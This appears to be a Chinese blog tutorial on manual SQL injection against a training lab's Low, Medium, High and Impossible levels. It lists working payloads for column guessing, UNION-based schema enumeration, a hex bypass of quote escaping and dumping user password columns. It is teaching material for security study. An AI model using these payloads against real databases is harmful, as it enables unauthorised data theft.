【渗透测试】SQL Injection

本文介绍了SQL注入的概念及其危害,并详细阐述了手工注入的步骤及不同难度级别的注入方式,包括Low、Medium、High和Impossible级别的具体操作方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

===================================================================

·手工注入(非盲注)的步骤:

 

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

===================================================================

 

·注入类型:

数字型: SELECT 列 FROM 表 WHERE 数字型列=值

 字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’

 搜索型: SELECT * FROM 表 WHERE where 被搜索的列 like ‘%值%’

===================================================================

·Low级别:对来自客户端的参数id没有进行任何的检查与过滤

①判断是否存在注入,注入是字符型还是数字型

1

1'and'1'='2'

1'or'1234'='1234'

若成功则说明存在字符型注入

②猜解SQL查询语句中的字段数

1'or 1=1 order by 1#

1'or 1=1 order by 2#

……

查询到多少就是有多少个字段

也可以通过union select 1,2,3……来猜解字段数

③确定显示的字段顺序

1'union select 1,2,3……#

④获取当前的数据库

1'union select 1,database()#

⑤获取数据库中的表

1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

⑥获取表中的字段名

1′ union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

⑦下载数据

1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

·Medium级别:利用相关函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了限制,如下拉选择表单,希望以此来控制用户的输入

〇若使用了下拉选择表单,可以通过抓包改参数,提交恶意构造的查询参数

①判断是否存在注入,注入是字符型还是数字型

1 or 1=1#

若成功则说明存在数字型注入

②猜解SQL查询语句中的字段数

1 order by 1#

1 order by 2#

……

查询到数字几就说明有多少个字段数

③确定显示的字段顺序

1 union select 1,2#

④获取当前的数据库

1 union select 1,database()#

⑤获取数据库中的表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

⑥获取表中的字段名

1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

失败。因为单引号被转义了,可以利用16进制绕过,即将表名转为16进制数据

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #

⑦下载数据

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

·High级别:在查询语句中进行了一定程度的限制,例如:在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果

〇通过#将查询语句中的限制注释掉即可:

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

需要特别提到的是,High级别的查询提交页面与查询结果显示页面若不是同一个,也没有执行302跳转,则这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

·Impossible级别:采用了相关技术,划清了代码与数据的界限,有效防御SQL注入,同时进行查询语句的相关限制,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入可进一步提高了安全性。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值